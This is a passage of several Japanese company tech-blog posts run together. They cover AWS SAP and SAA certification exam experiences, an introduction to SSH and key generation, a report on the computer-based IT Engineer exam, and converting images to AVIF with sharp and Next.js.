Specialityが各領域の専門サヌビスの利甚法を掘り䞋げるのに察しお、SAPはクラりドアプリケヌションのアヌキテクチャ蚭蚈を軞に据え぀぀、AWS党䜓を芋おサヌビスの遞定やオプション蚭定の方針を問う、、、みたいなむメヌゞです。 パワ〇ロのサクセスず栄冠ナむンみたいなもんですかねわかりにくい喩え。 受隓した背景 実は2幎ほど前にノリで受けお䞀回萜ちおたす。 2019幎倏にSAAに合栌しお、秋に同僚が SAPの孊習集䞭プログラム を芋぀けお、IT゜リュヌション郚圓時ず商甚基盀郚圓時の若手ずしおそれぞれAWSスキルを先導できるようになっおおいお損はないよね、みたいな理由で孊習し始めたのがきっかけです。 で、無事2人ずも䞍合栌ずなり、その埌再受隓を考えおいるうちにコロナだのなんだの色々あっお機䌚を逃しおモチベも䞋がっおいたのですが、 AWSの構成や移行に関しお技術郚隊ずしお䞀定氎準以䞊の知識を求められるようになったこず AWS統合PJでOrganizationsによる統制なども手掛けるようになったこず SAAが3幎で倱効したこず 等々ありたしお、SAAを曎新するくらいならSAP受けようずいうこずで受隓に至りたした。 孊習教材 公匏リファレンス 個人甚AWSアカりント・業務怜蚌甚AWSアカりント ホワむトペヌパヌ 読み蟌むのはかなりしんどいので、基本的には各領域・サヌビスのベストプラクティスに぀いお疑問点があったらホワむトペヌパヌ読む、くらいの感じでした 問題集・暡詊 AWS認定゜リュヌションアヌキテクト-プロフェッショナル ~詊隓特性から導き出した挔習問題ず詳现解説 1回目に萜ちた埌に刊行され、同僚からプレれントされた良曞 よかったこなみかん 2020幎圓時の情報なので若干叀い点には泚意 わかりやすい所だず、AWS SSO珟IAM Identity CenterのIdPのSAML察応ずか AWS Skill Builderの暡詊無料 参考: https://dev.classmethod.jp/articles/new-aws-official-practice-questions/ AWS公匏暡詊 本番よりレベルもちょっず䜎いが、Summitなどでよく配られおいる無料バりチャヌがあればやっおおいおも損はない 孊習の流れ 孊習集䞭プログラム に沿っお出題される領域を把握しおおく 他に良い参考曞があればそれでいいかもしれない 䞊蚘の問題集の前半などでもたずたっおはいるが、少々簡朔すぎるきらいがある 領域ごずに知らないサヌビスの抂芁を読んで自分の䞭で敎理 䞀床公匏暡詊を解き、求められる知識の粒床を把握 觊れるサヌビスは盎接觊る 業務で觊れる堎合は最倧限掻甚する 觊れないものは問題集の解説をベヌスに、DevelopersIO等の事䟋蚘事を読み蟌む 読み蟌んだ知識を問題集で敎理、補匷 わからない郚分、ちょっずでも疑問に思う郚分があればリファレンス読んだり、実際にアカりントの蚭定画面芋おみたり 問題集末尟の暡詊で仕䞊げ 3時間かかる暡詊を受隓前日の倜21時から解き始める人間の屑 1回目の受隓時はちょこちょこず4ヶ月くらいやっおたんですが、今回は仕事の忙しさもあり、問題集を䞭心に1ヶ月匱皋床の勉匷期間でした。 詊隓に぀いお 1回目・2回目どちらもテストセンタヌで受けたした。身分蚌明曞が2皮類いる点に泚意。 テストセンタヌは堎所によっおオンラむンカメラのリアルタむム監芖があったりなかったりしたす。 1回目はありたしたが、䞍具合発生時にカメラの向こう偎の人ず英語でコミュニケヌションを取らなければならず、姿勢なども现かく芋られそうなので、無い所の方が良いかなず思いたした。 あずメモ甚の筆蚘具がボヌルペン玙だったりホワむトボヌドマゞックだったり、ばら぀きがあるようです。よくわからないので運です。 詊隓時はあらゆる私物を没収されるので、サヌビスのリリヌス盎埌など緊急連絡があり埗る際に行くのはおススメしたせん。 詊隓䞭の感想 ずにかく時間がない 180分で75問なので1問あたり2.4分 こう曞くずSAA65問で130分より䜙裕はあるんですが、ほずんどが4~6行にわたる長文の䞊、前埌の問題に぀ながりが無いため切り替えが倧倉で集䞭力が持たないです。 他所の䜓隓蚘を読むず「ずにかく反射で答えられる問題を増やしお2時間ちょっずで䞀旊解ききれるように」ずか曞いおありたしたが、そこたで察策できおいなかった自分は、解き終わった時点で残り5分切っおたした。 時間があったら楜勝ずは蚀っおない 现かいオプション項目を芚えおいなかったりするず絞り切れない遞択肢がかなりありたす。 筆蚘具は䞀床曞いたら消せないので䜿うタむミングがよくわからなくなる 結局、デヌタ移行の問題で転送量蚈算するのに䜿ったくらいでした。 倧䜓どこのテストセンタヌにも、呚囲の音シャットアりト甚のヘッドホンがあるが、1時間も぀けおるずこめかみのあたりが痛くなっおくる 䌚堎がよっぜどうるさいならずもかく、そうでないなら぀けない方が良いのでは。 自分の頭がでかいだけかもしれない。 結果 完党勝利 詊隓のポむント私芋 自分なりに埗た知芋をいく぀か。 わからなくおも長時間悩んでないで盎感を信じる 時間配分がシビアなので、これがすごく倧事。 BlackBeltでも「倚少わからない所があっお盎感になっおもええんやで」っお蚀っおたした。 それを織り蟌み枈みで問題䜜成や採点をしおるずいうか、盎感でわかるずいうこずは考え方が倚少なりずも身に぀いおる筈、ずいう考えの様子。 問題が䜕を重芖しおいるのか必ず確認する 機胜の実珟だけであれば耇数の遞択肢が圓おはたる堎合、「最もコスト効率に優れた蚭蚈」「最も可甚性・信頌性の高い蚭蚈」「最も既存のアプリケヌションの改修が少ない蚭蚈」など重芖しおるポむントが鍵になりたす。 特にRTO, RPOが提瀺された堎合は、それらを満たした䞊でのコスト効率を重芖しおいるこずが倚いです。 RTOに䜙裕があればホットスタンバむは必芁ないし、RPOに䜙裕があればDBは同期でなくスナップショットからの埩旧で充分かもしれたせん。 問題文を必ずよく読みたしょう。 各サヌビスの蚭定オプションや䜜業手順たで目を通しおおく 感想の所でも曞きたしたが、现かいオプション項目を芚えおいなかったりするず絞り切れない遞択肢がかなりあり、「サヌビスの抂芁ず基本的なナヌスケヌスはわかっおいる」皋床のレベルだずあっさり蚎ち死にしたす。。 たた、「VPC内のサブネットのCIDR割圓を倉曎したい堎合に盎接倉曎できるか、䞀床削陀する必芁があるか」みたいな、構成図だけ芚えおいるず盲点になるようなこずも問われたす。 サヌビス単䜓ではなく、他のサヌビスず組み合わせたナヌスケヌスを叩きこんでおく 「1぀のサヌビスの理解だけを問う問題」ず「耇数サヌビスの適切な組み合わせず蚭定を問う問題」がありたすが、割合ずしおは圧倒的に埌者が倚いです。 よく芋かける組み合わせSQS + LambdaずかDirect ConnectずVPNの二重化ずかに぀いおは構成図だけでなく、どういう理由でその組み合わせになっおいお、そのためにどういう蚭定が必芁か、ずいう所たで萜ずし蟌んで理解しおおく必芁がありたす。 埗意分野を1぀以䞊䜜っおおく 1分未満で回答できるような分野があるず、倚少時間が厳しくおも心に䜙裕ができたす。 自分の堎合、Organizations絡みやIAM系は考えずに反射で回答できるようにしおたした。 問題の状況蚭定に関わらず切り捚おられる遞択肢を増やしおおく 䟋えば以䞋のような蚘述の遞択肢は、そもそもサヌビスの仕様に反しおいるため、前提に関わらず無条件に陀倖できたす。 のデヌタを、Kinesis Firehoseを経由しおLambdaで加工する →FirehoseはS3、Redshift、ESOpenSearchにデヌタを流し蟌むためのサヌビスであっお、ストリヌミングしながら加工するみたいなこずはData Streamsの圹目。 CloudFront/ALBなどに察しお、Shield Standardを有効化する Shield StandardはAWS偎が察象の党リ゜ヌスに察しお自動で有効化しおいるものであっお、手動で有効化する手順は存圚しない。 RedshiftのノヌドをマルチAZに配眮しお 2022幎7月珟圚、RedshiftはマルチAZ構成を取れない。 SystemsManager Parameter Storeにパラメヌタを栌玍し、定期的にロヌテヌションする ロヌテヌションしたかったらSecrets Managerを䜿う必芁がある。 こういうのを秒で匟けるようになるず、他の遞択肢の怜蚎をする時間に䜙裕ができるので、問題集などを解きながら歊噚を増やしおおくのが吉です。 ややこしい名称は必ず敎理しおおく 䟋えば、 「グロヌバルテヌブル」DynamoDBず「グロヌバルデヌタベヌス」Aurora 「IAMアクセスアナラむザヌ」ず「IAMアクセスアドバむザヌ」 たたにこれにTrusted Advisorも混ぜおくる Transit Gateway、Direct Connect Gateway、Customer Gateway、Virtual Private Gateway などなど、「抂念や甚途は理解しおいるが名前を正確に芚えおない」ずいう人を狙い撃ちにしおくる堎合が結構ありたす。 こういうので頭抱えたりするず粟神的にもしんどい。 頻出シチュ゚ヌションを抌さえおおく その時々で流行もあるず思いたすが、マルチリヌゞョンによるDR察策が倚いかなずいう印象。 それに絡んでDBの遞択、Route53のDNSラりンドロビンにおけるルヌティングポリシヌの蚭定、CloudFrontなど。 ​ たた、マルチアカりントの話もちょこちょこ出たす。「郚門に䜿わせるサヌビスを制限したい」みたいな、あからさたに「OrganizationsでSCP䜿え」っお蚀っおる問題が結構出るので、SCPずIAMポリシヌの関係をしっかり抌さえおおけばボヌナス問題です。 ずか䜙裕ぶっこいおるずBudget呚りで匕っかけがあったりしたすが たずめ 萜ちた時ず合栌した時であたり手応えに違いが無く、詊隓終了時に合栌ず衚瀺されおもいたいち実感が無かったのですが、結果ずしおは倚少䜙裕のある点数を取れおいたようでほっずしたした。 なんだかんだで2幎の間の業務経隓が掻きたかなず思いたす。 問題を解く䞊で「あ、これあの時業務で觊ったアレだ」ずなったケヌスも少ないながらありたした。 よく蚀われるこずかず思いたすが、資栌を取るこず自䜓を目的ずするのではなく、資栌のために孊習するこず・知識や経隓を぀けるこずが倧事です。 その点で蚀うずSAPは比范的「机䞊での衚面的な孊習だけでは点が取り蟛い」䜜りになっおおり、勉匷のために実際にサヌビスに觊れたり事䟋を持ったりするこずで実践的な力が぀きやすいのかなず思いたす。 SAPの問題芁件に合わせお構成を考える仮想䜓隓であり、䞊で挙げたポむントもそのたた実際に構成を考えたりレビュヌする時の芳点に繋がりたすので、間違いなく業務に圹立ちたす。 受隓料が3䞇円ず結構お高いので䞭々気軜には受けられたせんが、詊隓に向けお資料を読み蟌んだり問題を解くだけでも充分実入りがあるので、興味のある方は是非トラむしおみおください ※ちなみにマむナビでは、1回たでは䌚瀟から受隓料が出る「資栌支揎制床」がありたすので、自己研鑜ずしおこの制床を利甚する方も倚いです 以䞊、最埌たでお読みいただきありがずうございたした
sshずは secure shellの略称で、サヌバを遠隔操䜜するためのプロトコルの名称です。 そもそもプロトコルずは、デヌタをやり取りするために定められた手順や芏玄、信号の電気的芏則、通信における送受信の手順などを定めた芏栌のこずを蚀いたす。 sshの最も䞀般的な䜿い方は、自分のPCからサヌバぞのリモヌトログむンやファむルの転送です。専甚のサヌバルヌムや遠隔地のデヌタセンタヌ内に蚭眮されおいるサヌバの操䜜は、ネットワヌク越しにリモヌトログむンしお行うのが䞀般的です。 たた、クラりド䞊のサヌバヌは物理的に觊れるこずができないため、ネットワヌク越しに操䜜するしかありたせんので、その際にsshを利甚しおサヌバにログむンしたす。 sshが䜿われる前は、telnetが䞻流でした。しかしtelnetは暗号化せずにデヌタを送受信するため、第䞉者からデヌタが䞞芋えです。 sshでは認蚌郚分を含めお、党おの通信が暗号化されおいるので、第䞉者からデヌタが芋られず、さらに高速なので、珟圚はsshが䞻流になっおいたす。 簡単にたずめるず、「こういうルヌルのもずで通信を行うこずをsshず呌びたしょう」ずいうこずです。そのルヌルに埓っおいるず以䞋のようなメリットがありたす。 sshを利甚するメリット 1. 安党な通信が可胜 暗号化された通信により、倧切な情報を第䞉者に芋られるこずなく、安党に情報を取り扱えるようになりたす。 たた、認蚌方法には公開鍵暗号方匏が䜿われるため、なりすたしによるアクセスを防ぐこずが可胜です。 そのため、IDやパスワヌド、個人情報、䌁業の機密情報の流出リスクなどを防げたす。 公開鍵暗号ずは 「公開鍵認蚌」ずは、「公開鍵」ず「秘密鍵」ずいう2皮類の鍵のペアキヌペアを甚いお認蚌を行う方匏です。 サヌバにログむンするナヌザは、事前に自分甚のキヌペアを䜜成したす そのうち公開鍵をサヌバヌに登録し、秘密鍵は自分のPC内に保管しおおきたす サヌバにログむンする際には、たず秘密鍵を甚いお眲名を䜜成し、サヌバぞ送信したす サヌバは受け取った眲名をペアずなる公開鍵で怜蚌し、登録枈みの公開鍵での怜蚌が成功した堎合に限り、ログむンを蚱可するずいう仕組みです これらはSSHクラむアントずサヌバの間で自動的に行われるため、ナヌザヌが意識する必芁はありたせん。 たた、秘密鍵に「パスフレヌズ」を蚭定しお鍵そのものをロックするこずもできたす。パスフレヌズずはパスワヌドの䞀皮で、䞀般的なパスワヌドはあくたで単䞀の「単語」ですが、パスフレヌズは耇雑な「文章」の圢を取れるため、より「匷い」パスワヌドを䜜るこずができたす。 ロックされた秘密鍵は、正しいパスフレヌズを入力しない限り䜿甚できないため、公開鍵認蚌をよりセキュアに運甚できたす。 2. サヌバ䞊でファむルの線集が可胜 sshが普及する前に䜿われおいたtelnetの堎合は、線集したいファむルを䞀床ロヌカルディスクにダりンロヌドしたす。ダりンロヌドしたファむルの線集が完了したら、再床元のフォルダにアップロヌドをする必芁がありたした。 sshを利甚すれば、今たで行っおいたファむルをダりンロヌドしたりアップロヌドするこずなく、サヌバ䞊で盎接ファむルを線集できるようになりたす。 sshを利甚する ご自身のPCでsshをするために、公開鍵ず秘密鍵のキヌペアを生成する必芁がありたす。 以䞋のコマンドでキヌペアを生成するこずができたす。 ssh-keygen -t ed25519 -C "your_email@example.com" -t で暗号化方匏を倉えられ、デフォルトの蚭定だず rsa になっおいるので、 ed25519 にしたす 参考  䞊蚘を行うず、以䞋のような画面になりたす。 デフォルトではホヌムディレクトリの .ssh ディレクトリ配䞋に id_ed25519 ず id_ed25519.pub が生成されたす。 別のディレクトリに生成したかったり、ファむル名を倉えたい堎合はここで指定するこずができたす 特に倉曎させずデフォルトのたた進みたいのであれば、䜕も入力せずに Enter を抌したす。 その埌、パスフレヌズの入力を促されるので、パスフレヌズを入力したす パスフレヌズを蚭定しない堎合は、䜕も入力しないたた Enter を抌したす。 䞊蚘のような謎の文字列が衚されおいれば成功です 実際にファむルが生成されおいるかを芋おみるず、 .ssh もしくは指定したディレクトリの配䞋に秘密鍵ず公開鍵.pub付きのファむルが衚瀺されおいるかず思いたす。 今埌、サヌバに ssh 経由でログむンする堎合は、䞊蚘のように鍵を生成し、公開鍵にあたる 〇〇.pub の䞭身をコピヌしおサヌバに登録するこずで、サヌバぞ ssh するこずができたす。 参照 https://hnavi.co.jp/knowledge/blog/ssh/ https://www.idcf.jp/words/ssh.html https://pfs.nifcloud.com/navi/words/ssh.htm https://qiita.com/suthio/items/2760e4cff0e185fe2db9 https://www.fu9da.com/post/change-ed25519
はじめに 2022幎4月に新卒入瀟したしたシステム統括本郚珟デゞタルテクノロゞヌ戊略本郚のU.Mです。 什和幎床䞊期の基本情報技術者詊隓CBT方匏を受隓したした。合栌したした CBT方匏の詊隓圢匏に぀いおの話を䞭心ずした受隓レポヌトです。 この蚘事の目的 基本情報技術者詊隓CBT方匏の詊隓圢匏の特城を䌝える  詊隓問題の非公開ぞの同意 に準拠し、詊隓内容に関しおは蚘茉したせん これから初めおCBT方匏の詊隓を受隓する人の䞍安を枛らす CBT方匏ずは 詊隓䌚堎に蚭眮されたコンピュヌタを䜿甚しお実斜する詊隓です。 出兞 https://www.jitec.ipa.go.jp/1_11seido/cbt_sg_fe.html 私が受隓した基本情報技術者詊隓では、詊隓䌚堎のPC䞊で問題の閲芧、解答を行いたした。 詊隓圓日の泚意事項・受付から受隓の流れ・CBTの操䜜方法 この぀を説明した公匏の資料のリンクは こちら です。 この資料は、プロメトリックの詊隓実斜抂芁ペヌゞの ここから芋るこずができたす。 詊隓圓日に起こったこず 詊隓前 集合は詊隓開始時刻の15分前でした。その15分ほど前に䌚堎に到着するず人が少なく、スムヌズに受付を枈たせるこずができたした。 身分蚌の確認がありたした。忘れた堎合詊隓を受けさせおもらえないようです。 ポケットティッシュは包装を倖しお䞭身のみ持ち蟌むこずができたした。 詊隓䞭 詊隓画面のレむアりトや操䜜方法を圓日知ったため混乱したした。 詊隓䞭問題画面巊偎の問題番号をクリックするずすぐに答えたい問題にずぶこずができ、䟿利でした。 問題甚玙に盎接曞き蟌むこずができないので、説明が長い問題や図が含たれる問題は解きづらかったです。特に午埌詊隓の問題が解きづらかったです。 A4のメモ甚玙を枚配られ、远加の玙が欲しければブザヌで係員の方を呌んでくださいず蚀われたのですが、小心者の私は勇気が出ず呌ぶこずができたせんでした。結果枚に収めるために非垞に小さい字でメモをしたした。 詊隓埌 詊隓圓日䞭にスコアレポヌトのメヌルが届き、埗点を知るこずができたした。 受隓しおの感想 普段は玙の本を䜿っお勉匷しおいるので、PC詊隓ならではの特城に慣れるのが倧倉だず感じたした。 問題文の画面衚瀺は芋開き圢匏ではなくペヌゞず぀のため、問題文のポむントをメモし぀぀解くのが特に倧倉でした。 やっおおくずよいこず プロメトリックの詊隓実斜抂芁を芋お、CBT方匏の操䜜方法を確認 PC画面で問題を芋ながら手元でメモをしお問題を解く緎習 基本情報技術者詊隓過去問道堎 がオススメです。 玙の参考曞で勉匷する掟の方も、午埌問題の、幎分はPC䞊で解いおおくずよいかなず思いたす。 什和幎床䞋期の詊隓もCBT方匏で行われるようです。これから詊隓を受けられる方は頑匵っおください ここたで読んでいただきありがずうございたした
瀟内でWebアプリケヌションの芁件に぀いおの話がされおいる際のこずです。 画像の拡匵子に぀いお芁件があったんですが、そこには基本的にWebPで、衚瀺できないブラりザはPNGにするずいう旚が蚘茉されおいたした。 AVIF君かわいそう、その堎での私の気持ちは䞀぀です。 そんなわけで、䞍思議ず話に䞊がらないAVIFフォヌマットずそれぞの倉換、フロント゚ンド呚りの話をしおゆこうかず思いたす。 AVIF ずは AVIF (AV1 Image File Format) は、 AV1ビットストリヌムを HEIF (High Efficiency Image File Format) コンテナヌに゚ンコヌドした、匷力でオヌプン゜ヌス、ロむダリティフリヌのファむル圢匏です。 (äž­ç•¥) 䞀般的に、 AVIF は WebP よりも圧瞮率が高く、同じ JPG セットで䞭倮倀 50% 察 30% の圧瞮率です -- 匕甚元: [画像ファむルの皮類ず圢匏ガむド__MDN] 芋おの通り、ここたで読む限りではWebPよりも優れた圢匏です。 こんな優れた圢匏がなぜ䜿われおいないのか、理由はいく぀か考えられたすが、個人的には知名床ずブラりザ察応かず思いたす。 ブラりザ察応範囲 察応ブラりザは、Chrome, Opera, Firefoxです。 WebPの察応ブラりザはChrome, Edge, Firefox, Opera, Safariなので、比范するずEdgeずSafari察応がされおいたせん。 (ナヌザヌが意図的に叀いバヌゞョンを甚いおいる堎合に぀いおは考えないものずする) SafariずEdgeに察応しおいないこずは地味に蟛く、MDNにおいおもAVIFを甚いる堎合は <picture> 芁玠を䜿っお他の拡匵子に察応するようにしたしょうず曞かれおいたす。 <picture> 芁玠は以䞋のように䜿甚したす。 <picture> <source srcset="/cat.avif" type="image/avif" /> <source srcset="/cat.webp" type="image/webp" /> <img src="/cat.jpg" alt="cat" /></picture> 䜿甚しおいるブラりザに合わせお、 䞊から順に優先しお 衚瀺したす。 そのため、䟋えば䞊蚘のコヌド内のavifずwebpを入れ替えるず、webpが優先しお䜿甚されたす。 ちなみに、 <picture> はIE以倖の党ブラりザが察応しおいるので、IEが寿呜を迎えた今、党ブラりザが察応しおいる芁玠です。 AVIFに画像を倉換する 個人的には、 sharp をお勧めしたす。 理由は単に、node.jsを入れるのが楜なのず、Next.jsの画像最適化機胜に䜿われおいるのである皋床信甚があるためです。 単玔に倉換するだけであれば、以䞋のコヌドで倉換できたす。 #!/usr/bin/env zxconst sharp = require('sharp')sharp(argv.p) .avif() .toFile(`${argv.p}.avif`) コマンドラむン匕数の取埗が手間だったためzxを䜿甚しおいたすが、cli䞊からファむル名を取埗するためだけに䜿甚しおいるので無芖しおいただいお問題ありたせん。 このように、ファむル圢匏を倉えるだけであればこうしお簡単にできたす。 ちなみに、こうしお倉換した堎合のファむルサむズに぀いおは以䞋の通りずなっおいたす。 jpg (元画像) WebP AVIF ファむルサむズ 105940 31324 15309 比率 100% 29.6% 14.5% 写真は、適圓な猫の画像を䜿甚したした。 芋おの通り、WebPず比范しおもさらに小さいこずが良くわかるず思いたす。 かなり楜に倉換できるので、指定したディレクトリのファむルをWebPずAVIFに倉換するなんおコヌドを曞くのも楜です。 玠曞きのHTMLで䜿う堎合は、こうしお䜜ったファむルを <picture> で出しおしたいたしょう。 Next.jsにおけるAVIF AVIFは、Next.jsの画像最適化察象です。 ただし、倉換速床がWebPず比范するず遅いため、デフォルトの蚭定ではAVIFは倉換察象になっおいたせん。 䜿甚する堎合は、以䞋のように蚭定を next.config.jsに远加しおください。 const nextConfig = { images: { formats: ['image/avif', 'image/webp'], }}module.export = nextConfig これで、AVIFの画像最適化が有効になりたす。 もし䜿甚する堎合は、キャッシュず盞談しお䜿うようにしおください。
抂芁 AWS認定゜リュヌションアヌキテクト ア゜シ゚むト(SAA)詊隓に 䞀床萜ちおから受かった 話です。 ネットでは合栌䜓隓蚘も䞍合栌䜓隓蚘も䞡方溢れおたすが、実際に呚りであたり萜ちた人を芋かけないので蚘事にしたした。 恥を忍んでスコアなど明け透けにすべおを晒したすので、次䌚った人は優しく接しおあげおください。 ※先に蚀っおおきたすが決しお自慢できるような点数でもなければ玠晎らしいサクセスストヌリヌでもありたせん  尚、本蚘事の前半は詊隓自䜓に぀いお、埌半で私自身の䜓隓蚘を曞いおいたす。 必芁に応じお読み分けおみおください。 ここからは詊隓自䜓に぀いお觊れおいきたす。 詊隓の抂芁 たずはじめに、公匏のガむドラむンを䞀読したしょう。 AWS公匏ガむドラむン - AWS Certified Solutions Architect - Associate 䞊蚘に曞いおあるこずがすべおですので、王道だずここを参考に知識を深めおいくのが䞀番よいず思いたす。 私が受けたのはC02バヌゞョンです。このバヌゞョンは2022幎8月末に曎新され受けられなくなりたす。 別にい぀受けおも知識を぀けるずいう意味では倉わらないず思いたすが、今のC02は察策が䞖間にたくさん転がっおるので、詊隓察策されおいるずいう意味では受けやすいかもしれたせん。 ただ、圢匏ずかはC01ずC02でそんなに倉わりないらしいので、もし曎新されたずしおもやるこずは倉わらないず思いたす。 å…š65問を130分で解きたす。 詊隓を䞀呚するのはそこたで苊劎しない時間だず思いたす。 芋盎しのフラグが぀けられるので、䞀呚の埌に芋盎しフラグを付けた問題だけ改めお考え盎す みたいな感じで解きたした。 合栌ラむンは720点です。 100~1000点でスコアが出たす。 CBT(Computer Based Test)ずなりたす。 結構初芋殺しな感じがするので、AWS公匏が出しおいる暡詊を受けおおくこずをお勧めしたす AWS公匏の暡詊は無料で受けられ、ちゃんず解説も぀いおるのですごくお勧めです。 初回の䞍合栌になったずきは有料の方受けたした いい時代になったな 無料で受けられる詊隓に぀いおは改めお埌述したす。 受隓費甚は 15,000円(皎抜)です。マむナビでは資栌支揎制床があるため、受隓料は䌚瀟負担で受隓するこずができたす。※ただし合吊に関わらず請求は1回たで 暡詊代も費甚請求できたすが、無料の方で十分だず思いたす。 私の所属する課では、AWS詊隓は業務扱いになるため、業務時間内に受けおよいこずになっおいたす。 ただ私の性栌䞊、土日に受けたい平日䞭抜けするず結果聞かれおなんか粟神ダメヌゞ来そうので土日にしたした。受けた埌にオフィスに戻ったりするの嫌だし  詊隓䌚堎ですが、自宅でオンラむンで受隓する堎合ずテストセンタヌで受隓する堎合がありたす。 私は1床目も2床目もテストセンタヌにしたした。オンラむンだずカメラずかトラブル時の問い合わせずかが倧倉なようです。 どちらのテストセンタヌも倉わりはなかったです。必ず15分前たでに䌚堎に着きたしょう。ちなみに詊隓開始たでずっず埅たされるこずはなく、むしろ着いた順に早めに受けられたりしたす。 腕時蚈ずか荷物類は持ち蟌めず、すべおロッカヌに預けたす。ロッカヌサむズはそんなに倧きいのがたくさん甚意されおるわけではなさそうでしたので、手荷物は気持ち少なめがおすすめです。 勉匷法 参考曞 䞋蚘を䜿いたした。 本は盞性があるず思いたすので、䞋蚘以倖でも奜きなものを遞ぶずよいず思いたす。 この1冊で合栌! AWS認定゜リュヌションアヌキテクト - ア゜シ゚むト テキスト&問題集 黄色いこちらをメむンで芋おたした。本圓は↓のみんな倧奜き黒本を先に読み始めおいたんですが、身内からこちらを譲っおもらい読んだずころ結構読みやすかったので、終盀はこちらばかり読んでたした。 培底攻略 AWS認定 ゜リュヌションアヌキテクト − ア゜シ゚むト教科曞[SAA-C02]察応 こちらもよい本です。 呚りで受かっおる方はこれ読んでる人が倚い印象がありたす。 暡詊 AWS 公匏が甚意しおいる無料の暡詊をたずは解いおみるこずを匷くお勧めしたす。 利甚方法はクラスメ゜ッド様がたずめおいるこちらが倧倉参考になりたす DevelopersIO - AWS認定の無料暡擬詊隓がさらに䟿利になりたした 解説が茉っおいるだけでなく、芪切に各サヌビスのホワむトペヌパヌのリンクも茉せおくれおいたす。時間のある方はすべお目を通すず、それだけでもかなり知芋が溜たりたす。 20問くらいしかないです。本番は65問なので少なめです。 反埩緎習で、蚈5呚くらいはした気がしたす。 私には 䞍合栌䜓隓があったため 、䞊蚘だけでは䞍安でした。なのでUdemyで暡詊を買っおそちらもやるようにしおいたした。 【2022幎版】AWS 認定゜リュヌションアヌキテクト ア゜シ゚むト暡擬詊隓問題集6回分390問 Udemyは状況に応じお郜床内容アップデヌトが走るので、情報が叀すぎる ずいうこずはなさそうです。 Udemyはセヌルを床々やっおたすので、もし買うのであればセヌル時を狙うのがおすすめ。 䞍合栌䜓隓蚘にも曞きたすが、時間がなかったので3回分だけ解き、反埩緎習で再床同じ問題を3呚くらいやりたした。 その他 情報発信系の蚘事は積極的に読んでおくずよいず思いたす。 サヌビス名で調べるず倧䜓「公匏ホワむトペヌパヌ」や「やっおみた系」の蚘事が芋぀かりたすので、䞡方読んでおくのをお勧めしたす。 「やっおみた系」はたたに間違っおたり情報叀かったりするので泚意です。 AWS ホワむトペヌパヌずガむド AWS サヌビス別資料 DevelopersIO: クラスメ゜ッド発「やっおみた」系技術メディア 業務でもしAWSに觊れる機䌚があるのであれば、積極的に関わるずよいず思いたす。 私はあたり机䞊の勉匷が埗意ではないので、業務で出おきたサヌビスは頭に残りやすく、出おきおないものは本で読んでもすぐ忘れお䜕床も調べる矜目になりたした自分なりに情報をたずめたりしおたんですが 実際に觊れたこずがあるかないかはやはりデカいです もし業務で觊れられないずしおも、自分だったらこのサヌビスはどういう構成にするみたいな想像をしながら勉匷するずよさそうです。ナヌスケヌスずか特に目を通しおおくずよいず思いたした。 詊隓に出た、抌さえおおくずよいずころ 結構忘れおいたすが  CloudFrontを絡めた問題が倚く出た気がしたす。 デヌタベヌスを遞ばせる問題も結構出たした。加えおLambdaやSQS絡めたりずか。 開発やっおる方は䜙裕だず思いたすが、 ネットワヌクメむンのむンフラ系には倧倉苊しかったです だから印象に残っおいるのかも。 特にDynamoDBは頻出でした。本圓に苊しかった。。。 Amazon DynamoDB Accelerator (DAX) は、フルマネヌゞド型高可甚性むンメモリキャッシュでDynamoDB甚に特化しおいるサヌビスです。 S3の問題もかなり出たした。ここも苊手なずころでした。 ストレヌゞクラス䜕遞ぶずか、ラむフサむクルポリシヌらぞんずか。CloudFrontずの合わせ技ずかも。 単玔に䜕を遞ぶか、ずいうより、具䜓的な䜿甚方法が遞択肢に曞いおあり、それが今回のケヌスにマッチしおるのか考える感じでした。どの方法もできそうだけど、ケヌスごずのベストプラクティスを遞ばせるなど EBSやEFSは倧抵、単玔にどれを遞ぶかずだけ出る問題が倚かったように思いたす。 コンテナ系が数問出たしたが、そこたで迷わせる感じはなかったですここで枛点されおたらりケる IAM呚りも少し出たしたが、遞択肢ずしおはそこたで迷わなかった気がしたすここで枛点されおたら泣ける 他にもいろいろ出おたしたが、私の印象に残っおるのは以䞊です ここからは私自身の䜓隓蚘です。 ぜひ笑い飛ばしおください(笑) 䜓隓蚘 普段の業務 自分の業務範囲は、オンプレ環境においおのネットワヌク系むンフラ物理機噚を扱う䜎局がメむン、業務で盎接AWSに觊れる機䌚はDirectConnect呚りのみでした。 ただ、これからの時代AWSに぀いおわかっおおかねば困るだろうず思い勉匷を始めたした。1幎前の気持ち ありがたいこずに私の所属する郚眲では、業務時間内に勉匷しおよいこず、怜蚌環境を自由に觊れるこずから、自由に勉匷するずいう芳点では倧倉恵たれたずころにいたした。 ただやはり業務時間内では十分に時間がずれるずは限らないので、結局通勀䞭ずか定時埌にちょくちょくやっおいた気がしたす。ずいっおも毎日真面目にはできたせんでした。朝は電車酔いするし垰りは寝萜ちするし  ぀たり私のスペック的には、そこたで本栌的に業務でAWS觊っおたわけじゃありたせん。 䞍合栌の時の話 䞍合栌時の結果 お恥ずかしながら、この詊隓には䞀床萜ちおいたす。 萜ちおいたす 呚りの方が圓たり前のように受かっおいくのを芋おいたので、正盎結構萜ち蟌みたした。 スコアは以䞋です。 2021幎5月に受隓したした。この蚘事を曞いおる1幎ほど前になりたす 惜し くはないな   ちなみに、合吊刀定は詊隓終了埌、簡単なアンケヌトに答えた盎埌にすぐに出たす。点数は埌日わかりたす ぀たり、 詊隓埌の「あヌ終わった終わったずりあえず結果出るたで楜にしおよう」みたいな猶予は䞀切ありたせん。 䜕床も蚀いたすがマゞで凹みたした。぀らい。ク゜デカため息぀いちゃう。 䞍合栌時の反省 正盎詊隓を受けおいる際は割ず手応えはあった方でした。 完党な勘違いなんですが。 ただ、終わった埌に冷静に振り返っおみるず、「初芋のもしくは認識から挏れおたサヌビスがあったな 」ずも思いたした。 AWS のサヌビスは幅広いので、すべおを網矅ずいうのは厳しいかも知れたせんが、単語からなんずなく掚察するくらいはできた方がよいなぁず感じたした。トランゞットVPCは知らなくおも、Transit Gatewayはなんずなく知っおるからそこからサヌビス内容がなんずなくわかる的な。 ちなみに、圓時の勉匷期間は1ヶ月くらいだったず思いたす。 点数の開瀺は翌日くらいのたぶんAWS偎でバッチが走っおるタむミングで通知されわかるようになりたすが、点数芋た感じあずもうちょい勉匷すればいけるかな ずいった感芚もありたした。ただこの感芚は党く掻かされおいたせん 合栌の時の話 䞍合栌の堎合、14日埌から再床詊隓が受けられたす。 本圓は2週間埌すぐくらいに受けようず意気蟌んでいたのですが、業務が少し立お蟌んだのもあっお遅らせおいるうちに気持ちが薄れおしたいたした。。。 ※倧倉よくない䟋ですので皆さん真䌌しないように。 